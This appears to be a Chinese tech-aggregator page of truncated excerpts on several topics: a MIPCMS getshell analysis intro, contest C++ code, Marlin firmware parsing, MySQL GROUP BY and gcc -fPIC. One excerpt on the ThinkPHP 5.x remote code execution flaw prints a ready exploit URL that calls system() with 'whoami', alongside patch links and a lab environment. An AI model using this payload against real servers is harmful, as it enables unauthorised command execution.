g代码

MIPCMS V3.1.0 远程写入配置文件Getshell过程分析(附批量getshell脚本)

大憨熊 提交于 2020-01-31 10:38:45
作者:i春秋作家——F0rmat 0×01 前言 今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下。看下整体的结构,用的是thinkPHP的架构,看到了install这个文件没有可以绕过 install.lock 进行重装,但是里面有一个一定要验证数据库,又要找一个SQL的注入漏洞。 想起前几天大表哥Bypass发了一篇好像是关于mipcms的漏洞,赶紧去翻了一下,又学到不少技巧,这个技巧可以用在我上次发的一篇 ZZCMS 8.2任意文件删除至Getshell 的文章,里面有有个getshell的操作,但是也是要数据库的验证,用上这个技巧也不需要SQL注入也可以getshell了。 关于排版问题,我也想了许多,我写的是markdown的格式,但是论坛对于这种格式效果还算挺兼容的,就是看起来有一些不美观,我就换了种方式进行写,之前我都是放代码然后在上面写解析,这样看起来有点密密麻麻,所以我就直接放代码然后在代码里面写注释,有重要的点就写在外面,这样一来看起来整个文章就很整洁了。 0×02 环境 程序源码下载: http://www.mipcms.cn/mipcms-3.1.0.zip Web环境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101) 远程数据库服务器:Windows 10

2019长沙学院新生赛 B,G代码

强颜欢笑 提交于 2019-12-06 04:58:18
B 1 #include<bits/stdc++.h> 2 using namespace std; 3 4 int n; 5 int a[300005]; 6 7 int main(){ 8 scanf("%d",&n); 9 for(int i=1;i<=n*3;i++){ 10 scanf("%d",&a[i]); 11 } 12 sort(a+1,a+1+n*3); 13 int ans=0; 14 for(int i=1;i<=n*3;i+=3){ 15 ans=max(ans,a[i+2]-a[i]); 16 } 17 printf("%d\n",ans); 18 } G 1 #include<bits/stdc++.h> 2 using namespace std; 3 const double Pi=acos(-1); 4 const double eps=1e-10; 5 struct Point{//点 6 double x,y; 7 Point(double x=0,double y=0):x(x),y(y){}; 8 }; 9 typedef Point Vector; 10 Vector operator +(Vector A,Vector B){return Vector(A.x+B.x,A.y+B.y);} 11 Vector operator -

thinkphp5.x全版本任意代码执行getshell

倾然丶 夕夏残阳落幕 提交于 2019-11-30 07:52:15
ThinkPHP官方2018年12月9日发布重要的 安全更新 ,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。 主要是因为”\“的错误 补丁: Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815 环境地址: docker漏洞环境源码: https://github.com/vulnspy/thinkphp-5.1.29 漏洞利用 1.远程命令执行exp: http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 2.远程代码执行

Marlin固件获取G代码部分分析

余生长醉 提交于 2019-11-30 06:12:53
Marlin固件获取G代码部分分析 Marlin固件用到的C语言字符串操作函数: 函数原型: char *strchr(const char *str,int c) 参数说明:str为一个字符串的指针,c为一个待查找字符。 函数功能:从字符串str中寻找字符c第一次出现的位置。 返回说明:返回指向第一次出现字符c位置的指针,如果没找到则返回NULL 函数原型: long int strtol (const char* str, char** endptr, int base); 参数说明:str 为要转换的字符串,endstr 为第一个不能转换的字符的指针,base 为字符串 str 所采用的进制。 函数功能: 将字符串转换为长整型数(long) ,一开始strtol()会扫描参数nptr字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(’\0’)结束转换,并将结果返回。若参数endptr不为NULL,则会将遇到不合条件而终止的nptr中的字符指针由endptr返回;若参数endptr为NULL,则会不返回非法字符串 返回说明:返回转换后的长整型数;如果不能转换或者 str 为空字符串,那么返回 0(0L); 函数原型: char *strstr(char *str1, const char *str2); 参数说明:str1: 被查找目标

Marlin固件解析G代码部分分析

冷暖自知 提交于 2019-11-30 06:12:49
Marlin固件解析G代码部分分析 解析指令函数的主要作用就是提取命令缓冲区中命令的信息,完成解码工作,并将解码后的信息传递给其他程序块来执行。 解析指令具体的程序是通过的switch…case…结构实现的。通过读取缓冲区的命令置于switch case结构中解析,并将解码信息赋予相应的职能函数。 下面这三个对字符串操作进一步封装的函数在G指令解析中起着至关重要的作用。 /* 将strchr_pointer指针后的字符串中的数字转化为双精度数值 */ float code_value ( void ) { return ( strtod ( & cmdbuffer [ bufindr ] [ strchr_pointer - cmdbuffer [ bufindr ] + 1 ] , NULL ) ) ; } /* 将strchr_pointer指针后的字符串中的数字按十进制数转化为数值 */ long code_value_long ( void ) { return ( strtol ( & cmdbuffer [ bufindr ] [ strchr_pointer - cmdbuffer [ bufindr ] + 1 ] , NULL , 10 ) ) ; } /* 如果字符“code”被找到,返回值为true */ bool code_seen ( char code

MySQL对数据表进行分组查询(GROUP BY)

拟墨画扇 提交于 2019-11-29 09:13:29
MySQL对数据表进行分组查询(GROUP BY) GROUP BY关键字可以将查询结果按照某个字段或多个字段进行分组。字段中值相等的为一组。基本的语法格式如下: GROUP BY 属性名 [HAVING 条件表达式] [WITH ROLLUP] 属性名:是指按照该字段的值进行分组。 HAVING 条件表达式:用来限制分组后的显示,符合条件表达式的结果将被显示。 WITH ROLLUP:将会在所有记录的最后加上一条记录。加上的这一条记录是上面所有记录的总和。 GROUP BY关键字可以和GROUP_CONCAT()函数一起使用。GROUP_CONCAT()函数会把每个分组中指定的字段值都显示出来。 同时,GROUP BY关键字通常与集合函数一起使用。集合函数包括COUNT()函数、SUM()函数、AVG()函数、MAX()函数和MIN()函数等。 COUNT()函数:用于统计记录的条数。 SUM()函数:用于计算字段的值的总和。 AVG()函数:用于计算字段的值的平均值。 MAX()函数:用于查询字段的最大值。 MIN()函数:用于查询字段的最小值。 如果GROUP BY不与上述函数一起使用,那么查询结果就是字段取值的分组情况。字段中取值相同的记录为一组,但是只显示该组的第一条记录。 单独使用GROUP BY关键字进行分组 如果单独使用GROUP BY关键字

gcc/g++编译选项: -fPIC

旧时模样 提交于 2019-11-27 05:11:13
在理解PIC概念之前,先了解一下动态链接库的载入时重定位概念。 载入时重定位: 我们知道,Linux的可执行文件一般是elf格式的,在这个可执行文件的头部包含了很多重要的信息:如文件格式,加载地址,符号表等。当连接器链接生成可执行文件时,会将程序的加载地址写入可执行文件头。在程序运行时,动态加载器将可执行文件载入文件头指定的加载地址处,并加载该地址,开始从该地址处运行。由此可见,可执行文件的起始地址是在编译时就决定的: ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x4005b0 // 程序入口地址 Start of program headers: 64 (bytes into file) Start of section headers: 4472 (bytes into